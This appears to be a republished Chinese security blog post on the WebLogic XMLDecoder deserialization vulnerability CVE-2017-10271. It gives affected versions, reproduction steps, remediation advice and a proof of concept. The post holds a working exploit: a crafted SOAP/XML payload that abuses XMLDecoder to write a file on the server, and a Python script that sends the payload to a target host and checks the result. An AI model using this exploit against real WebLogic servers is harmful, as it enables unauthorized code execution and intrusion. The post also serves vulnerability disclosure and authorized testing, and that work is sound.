WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞复现&修复方案

ChaMd5安全团队

发布于 2018-03-29 14:37:37

1.5K0

发布于 2018-03-29 14:37:37

文章被收录于专栏：ChaMd5安全团队

0x00 漏洞简介

此次漏洞是针对Oracle WebLogic Server组件的WLS Security子组件
使用精心构造的xml数据可能造成任意代码执行
影响版本: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

0x01 复现过程

向 /wls-wsat/CoordinatorPortTypPOST提交如下XML并将 Content-Type修改为 test/xml。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt</string><void method="println"><string>weblogic_CVE-2017-10271</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

提交过后会在 /bea_wls_internal/下生成test.txt。

0x02 修复方案

对wls组件进行访问控制
升级Oracle 10月份补丁

0x03 POC

#coding=utf-8

import requests

import sys


#author 香香@chamd5

#声明:仅用于学习交流与授权测试，请勿用于非法用途，其后果与本人及团队无关


def exp(url,file):

    headers = {'Content-type': 'text/xml'}

    xml = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/%s</string><void method="println"><string>CVE-2017-10271_test</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope> '''%(file)

    res = requests.post('http://%s/wls-wsat/CoordinatorPortType'%(url), headers=headers, data=xml)

    if res.status_code != 404:

        res = requests.head('http://%s/bea_wls_internal/%s'%(url,file)).status_code

        if res != 404:

            print 'ok! file_path: http://%s/bea_wls_internal/%s'%(str(url),str(file))

    else:

        print 'no!'



if __name__ == '__main__':

    if len(sys.argv)<3:

        print '''

please use python weblogic.py host:port filepath

        '''

        sys.exit(0)

    url = sys.argv[1]

    file = sys.argv[2]

    exp(url,file)

参考链接：

https://github.com/kylingit/blog-hugo/blob/master/content/blog/Weblogic-0day.md

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2017-12-23，如有侵权请联系 cloudcommunity@tencent.com 删除

xml